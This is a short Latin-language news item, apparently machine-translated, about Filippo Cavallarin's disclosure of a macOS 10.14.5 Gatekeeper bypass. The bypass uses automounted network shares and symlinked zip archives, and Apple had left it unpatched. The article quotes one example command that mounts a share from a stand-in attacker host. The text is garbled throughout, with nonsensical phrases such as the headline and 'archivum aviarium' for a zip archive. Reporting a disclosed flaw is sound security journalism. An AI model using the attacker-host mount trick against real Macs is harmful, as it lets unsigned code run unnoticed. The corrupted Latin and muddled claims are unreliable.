Facile est app maliciam in Mac instituere. Lacus non posuit errorem etiam post tres menses

Securitas indagator Filippo Cavallarin monitionem de bug in macOS 10.14.5 missae in eius blog. Hoc consistit in possibilitate mensurarum securitatis ostiarii omnino praetermittendo. Secundum Cavallarin errorem Apple iam in Februario huius anni ostendit, sed societas eam in recentissima renovatione non fixit.

Ostiarius a Apple enucleatus est et in desktop operante primum in anno MMXII incorporatus est. Mechanismum impedit applicationem quin currendi sine cognitione et consensu utentis. Post app, Gatekeeper automatice codicem suum coercet ut videas si programmata recte ab Apple signata sunt.

In cursore eius diarii, Gatekeeper Cavallarin asserit, per defaltam, utramque partem repositionis externae et retis partes securas esse censet. Quaelibet applicatio quae in his scutis residet ideo automatice immissa esse potest quin per ostiarium perscriptio fiat. Haec factura est quae malitiosorum programmatum sine cognitione utentis uti potest.

Una ratio, quae alienum accessum concedit, est automontum pluma, quod utentes sponte conscendunt retis participes simpliciter, specificans viam ab "/net/" incipientem. Exemplum, Cavallarin citat viam "ls /net/evil-attacker.com/sharedfolder/", quod ratio operativam efficere potest ut contenta "sharefolder" in loco remoto, qui potentia malitiosus esse potest, onerare possit.

Videre potes viam minarum quae in video:

Aliud momentum est quod, si archivum aviarium continens certa symlinka ducens ad munus automount communicatum, a Gatekeeper non cohibebitur. Hoc modo victima facile potest invidum archivum et unzip extrahere, permittens oppugnans ut paene omnem programmatum in Mac sine scientia utentis curreret. Inventor, qui quasdam extensiones per defaltam occultat, etiam hanc vulnerabilitatem partem habet.

Cavallarin in suo diario affirmat Apple animum ad vulnerabilitatem macOS systematis operantis die 22 mensis Februarii huius anni animum induxisse. Sed medio Maio, Apple communicare cum Cavallarin cessavit, itaque Cavallarin totam rem publicam facere constituit.

fons: FCVL